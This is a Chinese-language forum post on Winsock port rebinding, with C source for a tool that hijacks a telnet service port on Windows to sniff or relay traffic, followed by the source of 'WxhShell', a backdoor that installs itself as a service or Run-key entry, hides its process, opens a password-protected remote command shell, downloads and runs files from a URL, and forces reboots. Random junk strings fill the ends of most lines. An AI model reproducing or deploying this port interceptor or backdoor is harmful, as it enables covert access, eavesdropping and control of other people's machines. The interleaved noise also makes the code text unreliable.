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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i r'C(zD=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 27}7 n  
Z~}9^(qc  
  saddr.sin_family = AF_INET; 9M ;Y$Z  
M?o_J4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /8Z&Y`G  
eKo=g|D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6L)7Q0Z  
B@#vS=g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N 1.fV-  
>;R7r|^k  
  这意味着什么?意味着可以进行如下的攻击: NjPQT9&3h  
3}fhU{-c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G}LV"0?  
b|;h$otC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Se37-  
W}%"xy]N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V DZOJM)(  
l?YO!$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8EX?/33$  
3g5r}Ug  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l;&kX6 w  
Do5.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I?Z"YR+MQ  
`M(st%@n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !w@i,zqu  
wAJ= rRI  
  #include )]4=anJu@|  
  #include F S$8F  
  #include mlUj%:Gm#  
  #include    iq^;csyKb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Koj9]2<0  
  int main() B !wr}]  
  { z-:>[Sn  
  WORD wVersionRequested; Hs_7oy|P  
  DWORD ret; $DtUTh3)  
  WSADATA wsaData; z@V9%xF-3  
  BOOL val; qQ6@43TC  
  SOCKADDR_IN saddr; -yTIv* y  
  SOCKADDR_IN scaddr; 4i5b.b U$  
  int err; @1<VvW=  
  SOCKET s; 0\s&;@xKk  
  SOCKET sc; ^,)nuU y  
  int caddsize; da_0{;wR  
  HANDLE mt; 7+IRI|d  
  DWORD tid;   m(^N8k1K;  
  wVersionRequested = MAKEWORD( 2, 2 ); Plhakngj  
  err = WSAStartup( wVersionRequested, &wsaData );  ls7P$qq  
  if ( err != 0 ) { %o{IQ4Lz#  
  printf("error!WSAStartup failed!\n"); ^HtB!Xc  
  return -1; Pl-9FLJ  
  } n3qRt  
  saddr.sin_family = AF_INET; )C mHC3  
   Qw }1mRv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z",2db  
Mn<s9ITS-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @`8a 3sL)  
  saddr.sin_port = htons(23); LR\8M(rtvH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pd & HC  
  { -YmIRocx  
  printf("error!socket failed!\n"); 2JcP4!RD  
  return -1; 8OO[Le]1  
  } g5u4|+70  
  val = TRUE; LafBf6wds  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (<-m|H};  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ll- KK`Ka  
  { mEkYT  
  printf("error!setsockopt failed!\n"); w`3.wALb  
  return -1; (d (>0YMv  
  } eT]*c?"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =dQ/^C_hj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4\g[&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !^v~hD$_q  
z|Yt|W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @A(jo32  
  { C5$?Y8B3  
  ret=GetLastError(); -P&uY`  
  printf("error!bind failed!\n"); [9:";JSl"Y  
  return -1; <h}x7y?  
  } xU}J6 Tv  
  listen(s,2); R*XZPzg%  
  while(1) 0IA' 5)  
  { L/I ] NA!U  
  caddsize = sizeof(scaddr); 5J1a8RBR  
  //接受连接请求 9zrTf%m F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [!8b jc]c  
  if(sc!=INVALID_SOCKET) c': 4e)  
  { SBf=d<j 1)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mV)t  
  if(mt==NULL) IiE^HgM  
  { DUH_LnHw)  
  printf("Thread Creat Failed!\n"); g jzWW0C  
  break; Dhfor+Epy  
  } \pTv;(  
  } {XUSw8W'  
  CloseHandle(mt); rmtCCPF?0  
  } [?;L  
  closesocket(s); 9 `q(_\x  
  WSACleanup(); R rYNtc  
  return 0;  H{Lt,#  
  }   RAws{<6T-  
  DWORD WINAPI ClientThread(LPVOID lpParam) }[MkJ21!  
  { &-JIXVd*R  
  SOCKET ss = (SOCKET)lpParam; -S&9"=v  
  SOCKET sc; g)D@4RM  
  unsigned char buf[4096]; [z+YX s!N  
  SOCKADDR_IN saddr; : yq2 XE%r  
  long num; wL^x9O|`p9  
  DWORD val; 8 Gy*BpmJn  
  DWORD ret; @ 'N $5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'zT7$ .L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a|#pl!  
  saddr.sin_family = AF_INET; 1 XJZuv,T:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [7[Qw]J  
  saddr.sin_port = htons(23); [KbLEMrPba  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NWQ7%~#k*  
  { T4gfQ6#  
  printf("error!socket failed!\n"); qLc&.O.=  
  return -1; BI<9xl]a  
  } ko'V8r `V  
  val = 100; !M9mX%UQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QZa^Cng~  
  { m qUDve(  
  ret = GetLastError(); !dcvG9JZ  
  return -1; |ITb1O`_P  
  } @~N"MsF3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -f1}N|hy  
  { ;X0uA?  
  ret = GetLastError(); I,,SR"  
  return -1; aRI.&3-  
  } _5O~ ]}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) % W|Sl  
  { :?m"kh ~  
  printf("error!socket connect failed!\n"); C=U4z|Ym  
  closesocket(sc); 9f5~hBlo  
  closesocket(ss); SkVah:cF-  
  return -1; DB_oRr[oj  
  } 4gdXO  
  while(1) ~| ZAS]  
  { 4e; le&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _%B,^0;C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r<LWiM l?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :eB+t`M  
  num = recv(ss,buf,4096,0); AeN:wOm  
  if(num>0) Us2> 5 :\  
  send(sc,buf,num,0); ,1JQjsR   
  else if(num==0) B9cWxe4R#  
  break; t7xJ "  
  num = recv(sc,buf,4096,0); ]VtP7 Y  
  if(num>0) KbK!4  
  send(ss,buf,num,0); -49I3&  
  else if(num==0) tx`^'%GMA  
  break; Zu4CFX-4  
  } DW:\6k  
  closesocket(ss); [eTEK W]  
  closesocket(sc); o8%o68py  
  return 0 ; v4uQ0~k~X  
  } ?:l:fS0:{  
5INw#1~  
2bw.mp&v1  
========================================================== ;'Z"CbS+  
o54=^@>O<j  
下边附上一个代码,,WXhSHELL xcQ^y}JN  
D(dV{^} 9  
========================================================== rwh 4/h^S  
>qO l1]uF  
#include "stdafx.h" 48G^$T{  
BC1smSlJ  
#include <stdio.h> :6EX-Xyj  
#include <string.h> pm i[M)D  
#include <windows.h> /~fu,2=7  
#include <winsock2.h> ~HT:BO$  
#include <winsvc.h> %(POC=b#[  
#include <urlmon.h> CD^@*jH9"  
'@\[U0?@K  
#pragma comment (lib, "Ws2_32.lib") $M4_"!  
#pragma comment (lib, "urlmon.lib") 2_?VR~mA#  
}XpZgd$  
#define MAX_USER   100 // 最大客户端连接数 9:Bn-3)  
#define BUF_SOCK   200 // sock buffer aYHs35  
#define KEY_BUFF   255 // 输入 buffer m c@Z+t'  
1Ak0A6E  
#define REBOOT     0   // 重启 00y(E @~  
#define SHUTDOWN   1   // 关机 VAyAXN~  
5b I4' ;  
#define DEF_PORT   5000 // 监听端口 4 EA$<n(A-  
7*Zm{r@u  
#define REG_LEN     16   // 注册表键长度 `Jj b4]  
#define SVC_LEN     80   // NT服务名长度 v{*2F  
dWwb}r(ky  
// 从dll定义API fLSDt(c',  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^%g 8OP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r( wtuD23q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zc&pJP+M'U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Dsv2p~  
z\K %  
// wxhshell配置信息 a_b+RMy  
struct WSCFG { By}ZHK94I  
  int ws_port;         // 监听端口 .i` -t"  
  char ws_passstr[REG_LEN]; // 口令 %P#| }  
  int ws_autoins;       // 安装标记, 1=yes 0=no a8k`Wog  
  char ws_regname[REG_LEN]; // 注册表键名 aE"dpYQ  
  char ws_svcname[REG_LEN]; // 服务名 ;>X;cZMd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7suT26C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `(O#$n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $,I@c"m{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JEZ0O&_R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n>SK2`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [<f9EeziB  
Zx6h%l,%  
}; gssEdJ  
H{EZ} *{M4  
// default Wxhshell configuration 4wa3$Pk  
struct WSCFG wscfg={DEF_PORT, .6bo  
    "xuhuanlingzhe", 0 EA3> $;  
    1, v"Ryg]^_  
    "Wxhshell", \]\GDpu[  
    "Wxhshell", la$%%@0/  
            "WxhShell Service", Bw[IW[(~!  
    "Wrsky Windows CmdShell Service", 8hyX He  
    "Please Input Your Password: ", XZ(<Mo\v  
  1, jr-9KxE  
  "http://www.wrsky.com/wxhshell.exe", mfDt_Iq  
  "Wxhshell.exe" uo|:n"v  
    }; Y[>`#RhP  
4)L};B=  
// 消息定义模块 PBiA/dG[;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  5pHv5e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V;~\+@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "#f5jH  
char *msg_ws_ext="\n\rExit."; -h8Z@r~a/  
char *msg_ws_end="\n\rQuit."; b1."mT!p  
char *msg_ws_boot="\n\rReboot..."; G2|G}#E  
char *msg_ws_poff="\n\rShutdown..."; , BZ(-M  
char *msg_ws_down="\n\rSave to "; ,eqRI>,\  
X?`mYoe  
char *msg_ws_err="\n\rErr!"; Ggv*EsN/cC  
char *msg_ws_ok="\n\rOK!"; %Z*)<[cIE0  
;oVOq$ql  
char ExeFile[MAX_PATH]; n \&H~0X  
int nUser = 0; wg:\$_Og  
HANDLE handles[MAX_USER]; v9t'CMU  
int OsIsNt; PVmePgF   
"`Xbi/i  
SERVICE_STATUS       serviceStatus; x{rjngp2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V%zo[A  
\y7Gi}nI  
// 函数声明 c<q~T >0k  
int Install(void); ##1/{9ywy  
int Uninstall(void); MdTu722  
int DownloadFile(char *sURL, SOCKET wsh); 4"^W/Zo  
int Boot(int flag); X@)'E9g5:  
void HideProc(void); Sj8fo^K50  
int GetOsVer(void); aan(69=jz  
int Wxhshell(SOCKET wsl); Dx9k%G)!  
void TalkWithClient(void *cs); Zu2 $$_+L  
int CmdShell(SOCKET sock); d9T:0A`M  
int StartFromService(void); E?Qg'|+_  
int StartWxhshell(LPSTR lpCmdLine); -7 Kstc-  
+p]@b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'S=eW_ 0/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6&2{V? W3  
,1v FX$  
// 数据结构和表定义 v Et+^3=  
SERVICE_TABLE_ENTRY DispatchTable[] = 7p{uRSE4._  
{ OO,%zwgt  
{wscfg.ws_svcname, NTServiceMain}, B.gEV*@  
{NULL, NULL} CT<z1)#@^  
}; ;9Wimf]G,E  
cBCC/n  
// 自我安装 |]Y6*uEX<  
int Install(void) @?0))@kPc3  
{ RE]*fRe7#  
  char svExeFile[MAX_PATH]; _u~`RlA  
  HKEY key; scrss  
  strcpy(svExeFile,ExeFile); *WWDwY@!u  
JX{rum  
// 如果是win9x系统,修改注册表设为自启动 {L M Q  
if(!OsIsNt) { /}5)[9GC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q} g"pl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C MGDg}  
  RegCloseKey(key); ;H?tcb*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WO^]bR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /6 y;fx  
  RegCloseKey(key); V[7D4r.j  
  return 0; )|Ka'\xr  
    } I3}I7oc_  
  } N[yS heT  
} Qv8 =CnuOT  
else { W&&C[@Jd3  
1{qG?1<zZ6  
// 如果是NT以上系统,安装为系统服务 KHeeB`V>J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7!6v4ZA  
if (schSCManager!=0) 7--E$ !9O,  
{ +.*=Fn22  
  SC_HANDLE schService = CreateService tC7 4=  
  ( =>GGeEL  
  schSCManager, 9*r l7  
  wscfg.ws_svcname, &m TYMpA  
  wscfg.ws_svcdisp, $ ]^Io)}f@  
  SERVICE_ALL_ACCESS, m\|EM'@k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (Q.I DDlr  
  SERVICE_AUTO_START, }|znQ3A2\l  
  SERVICE_ERROR_NORMAL, :G5O_T$  
  svExeFile, 5mm&l+N)  
  NULL, A3.pz6iT>  
  NULL, 1h{7dLA  
  NULL, aZo>3z;  
  NULL, QS-X_  
  NULL 0P;LH3sx  
  ); Nlu]f-i':  
  if (schService!=0) JDO n`7!w  
  { Z)}2bJwA  
  CloseServiceHandle(schService); "`* >co6r  
  CloseServiceHandle(schSCManager); #smfOGSd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 58o&Dv6?  
  strcat(svExeFile,wscfg.ws_svcname); |HwEwL+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7DeBeY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?MvL}o\|  
  RegCloseKey(key); `?"r\Qo<  
  return 0; k<rJm P{  
    } 3u,B<  
  } MK!Aq^Jz  
  CloseServiceHandle(schSCManager); !d95gq<=>  
} 0J;Qpi!u2v  
} !'Hd:oD<  
a!;#u 8f  
return 1; V2'5doo  
} _k(&<1i  
6DC+8I<  
// 自我卸载 j%8 1q  
int Uninstall(void) _93:_L  
{ '7.4!I0'  
  HKEY key; ZCNO_g  
q/qig5Ou  
if(!OsIsNt) { VaO[SW^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oZi{v]4  
  RegDeleteValue(key,wscfg.ws_regname); Z,8t!Y  
  RegCloseKey(key); lLU8eHf\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hOuHTo^  
  RegDeleteValue(key,wscfg.ws_regname); +HG*T[%/  
  RegCloseKey(key); isFxo,R9r  
  return 0; lA4TWU (]  
  } EWOa2^%}Z\  
} U+!&~C^y  
} r5N H*\Q  
else { "h8fTB\7S\  
x]t$Zb/Uxa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y43ha  
if (schSCManager!=0) c Ze59  
{ $\PU Y8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]3 QW\k~  
  if (schService!=0) '@HCwEuz  
  { #WAX&<m  
  if(DeleteService(schService)!=0) { }eveNPB{5  
  CloseServiceHandle(schService); ]oC"gWDYu  
  CloseServiceHandle(schSCManager); al7D3J  
  return 0; NB-%Tp*d  
  } NnaO!QW%  
  CloseServiceHandle(schService); `Io#440;  
  } 8O[l[5u&  
  CloseServiceHandle(schSCManager); > iYdr/^a  
} uJ0Wb$%  
} F&    
R]0`-_T  
return 1; )mjGHq 2  
} $KlaZ>D h  
:@-.whj  
// 从指定url下载文件 3jHg9M23[^  
int DownloadFile(char *sURL, SOCKET wsh) ]ZNFrpq  
{ dXsD%sG @  
  HRESULT hr; SIc~cZ!Yu  
char seps[]= "/"; G#A6<e/  
char *token; k(_OhV_  
char *file; A8Km8"  
char myURL[MAX_PATH]; XWq"_$&LF  
char myFILE[MAX_PATH]; xC}'"``s  
`7[!bCl  
strcpy(myURL,sURL); <2~DI0pp(  
  token=strtok(myURL,seps); z#GSt ZT  
  while(token!=NULL) ngI+afo   
  { k"%sdYkb!  
    file=token; *kcc]*6@s  
  token=strtok(NULL,seps); $8SSu|O+x  
  } I&<'A [vHl  
($W%&(:/  
GetCurrentDirectory(MAX_PATH,myFILE); +@*>N;$  
strcat(myFILE, "\\"); hTmJ ~m'J  
strcat(myFILE, file); -Kcjnl92i  
  send(wsh,myFILE,strlen(myFILE),0); f.uy;v  
send(wsh,"...",3,0); 4t3>`x 7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <FI*A+I4\  
  if(hr==S_OK) r3KNRr@  
return 0; dczSW ]%  
else q03+FLEfC  
return 1; ,t:P  
p1 ("  
} =E^/gc%X  
C[d1n#@r  
// 系统电源模块 5)5yH bS  
int Boot(int flag) ]'w5s dP  
{ PsD)]V9%:  
  HANDLE hToken; w.#z>4#3-  
  TOKEN_PRIVILEGES tkp; dDD5OnWmJ  
{FS)f  
  if(OsIsNt) { bOp%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ih4$MG6QC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8Op^6rX4  
    tkp.PrivilegeCount = 1; {J,4g:4G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jicH94#(]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E'5KJn;_7  
if(flag==REBOOT) { Q]3]Z/i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J@}PySq  
  return 0; 9)o@d`*  
} B692Mn  
else { YMU""/(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) foL4s;2  
  return 0; 1eEML"  
} o4Cq  /K  
  } aw~h03R_Z  
  else { w5 ]lU  
if(flag==REBOOT) { a|.IAxJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g j]8/~lr  
  return 0; j+{cc: h"X  
} MNb9~kM  
else { mg@Ol"2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I,HtW),  
  return 0; dqo-.,=  
} B3u/ y  
} Oh>hy Y)}  
 ;Q4,I[?%  
return 1; `~"'\Hw  
} YRr,{[e  
5MD'AP:  
// win9x进程隐藏模块 MX7Ix{  
void HideProc(void) ,J-|.ER->  
{ !!)$?R;1  
~K99DK.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V2M4g  
  if ( hKernel != NULL ) yNn=r;FZQ  
  { BHYguS^qz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S<*IoZ?T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (v|<" tv  
    FreeLibrary(hKernel); aNNRw(0/  
  } !MOsP<2  
p@uHzu7  
return; o?t H[  
} N-knhA  
gsM^Pu09ud  
// 获取操作系统版本 R8eBIJ/@_  
int GetOsVer(void) Ip=QtNW3\  
{ }1~9i'o%Z  
  OSVERSIONINFO winfo; q5-i=lw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6NhGTLI  
  GetVersionEx(&winfo); > /Q^.hzd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d|7LCW+HW  
  return 1; gO "G/  
  else Z f<T`'_d  
  return 0; % XZ&(  
} J5HK1  
*AGf'+j*z  
// 客户端句柄模块 Ba|}$jo  
int Wxhshell(SOCKET wsl) As,e.V5!  
{ K%mR=u#%&  
  SOCKET wsh; t8h*SHD9  
  struct sockaddr_in client; a`#lYM%(>  
  DWORD myID; "-dA\,G  
S7nx4c2xK~  
  while(nUser<MAX_USER) Pmd[2/][  
{ z},\1^[  
  int nSize=sizeof(client); kh2TDxa&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1E&S{.  
  if(wsh==INVALID_SOCKET) return 1; 'ROz|iJ  
;DYS1vGo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F;}JSb"  
if(handles[nUser]==0) RtHai[j  
  closesocket(wsh); KA?%1s(kJ  
else UdM2!f  
  nUser++; #G F.M,O/h  
  } FjtS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xo~q}(ze^  
~S;-sxoO0l  
  return 0; 6Z J-oT!.  
} jI*@&3  
>A-{/"p#  
// 关闭 socket w(S~}'Sg*P  
void CloseIt(SOCKET wsh) d<Q%h?E  
{ :}Yk0*  
closesocket(wsh); u^{p' a'  
nUser--; nYZ6'Iwi'  
ExitThread(0); >Jx=k"Kv+  
} Y3&,U  
 'F.P93  
// 客户端请求句柄 !o_eK\p  
void TalkWithClient(void *cs) n9={D  
{ Aixe?A_x  
t^YtP3`?b  
  SOCKET wsh=(SOCKET)cs; O$m &!J  
  char pwd[SVC_LEN]; pY )x&uM!  
  char cmd[KEY_BUFF]; ;)CN=J!  
char chr[1]; : q%1Vi  
int i,j; H8 ? Y{H  
2v4K3O60G  
  while (nUser < MAX_USER) { IBJNs$  
,;w~ VZ4  
if(wscfg.ws_passstr) { zs I?X>4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u$[8Zmgzz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i^.eX VV/  
  //ZeroMemory(pwd,KEY_BUFF); E\s1p: %  
      i=0; M3@qhEf?vk  
  while(i<SVC_LEN) { a_5s'Dh  
;iKtv+"  
  // 设置超时 a}FyJp  
  fd_set FdRead; k@|px#kq  
  struct timeval TimeOut; cw 2!V@  
  FD_ZERO(&FdRead); lD[@D9  
  FD_SET(wsh,&FdRead); 1aRTvaGo  
  TimeOut.tv_sec=8; z!bT^_Cc0  
  TimeOut.tv_usec=0; ;#v3C;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -A w]b} #v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zqNzWX  
8Z\q)T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HSG Ln906  
  pwd=chr[0]; ?|W3RK;  
  if(chr[0]==0xd || chr[0]==0xa) { =oL:|$Pj  
  pwd=0; _p0Yhju?  
  break; I P#vfM  
  } q%kCTw  
  i++; >_yL@^  
    } _^GBfM.  
(b#M4ho*f  
  // 如果是非法用户,关闭 socket 95@u|#n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c{y'&3\  
} N)Q_z9b=  
!vu-`u~86  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qfJ2iE|o2.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g{}<ptx]  
*'8q?R?7g  
while(1) { vkGF_aenk  
hfY/)-60o  
  ZeroMemory(cmd,KEY_BUFF); X(BxC<!D.  
Qv ~@  
      // 自动支持客户端 telnet标准   i&6U5Va,G  
  j=0; 7!jb  
  while(j<KEY_BUFF) { pI K:$eN!/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >@ 8'C"F  
  cmd[j]=chr[0]; {z 5YJ*C  
  if(chr[0]==0xa || chr[0]==0xd) { GV1Ol^  
  cmd[j]=0; ]h`*w  
  break; Bcv{Y\x;ko  
  } 5"57F88Y1  
  j++; dX1jn;7  
    } cb)7$S  
I[K4/91  
  // 下载文件 d5Ae67  
  if(strstr(cmd,"http://")) { G5U?]& I8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aB;f*x  
  if(DownloadFile(cmd,wsh)) ^rq\kf*]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `x _(EZ  
  else *Xk5H,:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rMIX{K)'f  
  } !^F_7u@Q  
  else { nm<VcCc  
=ZURh_{xV  
    switch(cmd[0]) { GP4!t~"1  
  |X>'W"Mn  
  // 帮助 qQ)1+^  
  case '?': { @hA`f4^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'q:7PkN!p  
    break; .E^w, o  
  } +zche  
  // 安装 cFq<x=S  
  case 'i': { *)w+xWmM3w  
    if(Install()) K5LJx-x*j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 f~x\.  
    else ]\|2=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qVfn(rZ  
    break; ]3,9 ."^  
    } ,|yscp8  
  // 卸载 n;:.UGl9.  
  case 'r': { O6?{@l  
    if(Uninstall()) :atd_6   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ba G_7>Q9H  
    else ~xY"P)(x;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dO2?&f  
    break; B6&[_cht  
    } q 6UZ`9&z  
  // 显示 wxhshell 所在路径 #'KM$l,P  
  case 'p': { ]s5e[iS  
    char svExeFile[MAX_PATH]; qgl-,3GY%N  
    strcpy(svExeFile,"\n\r"); NX%1L! #  
      strcat(svExeFile,ExeFile); lq53 xT  
        send(wsh,svExeFile,strlen(svExeFile),0); J/Y9X ,  
    break; m4OnRZYlw  
    } N`IXSE  
  // 重启 k?Hi_;o  
  case 'b': { x7E] }h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rG~W=!bj  
    if(Boot(REBOOT)) `_)9eGQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \;'#8  
    else { %fS1g Sf h  
    closesocket(wsh); v7@"9Uw}  
    ExitThread(0); ku*k+4rz  
    } d_$0  
    break; vA:ZR=)F  
    } t*Ro2QZ  
  // 关机 .4E24FB[f?  
  case 'd': { bQI :N  
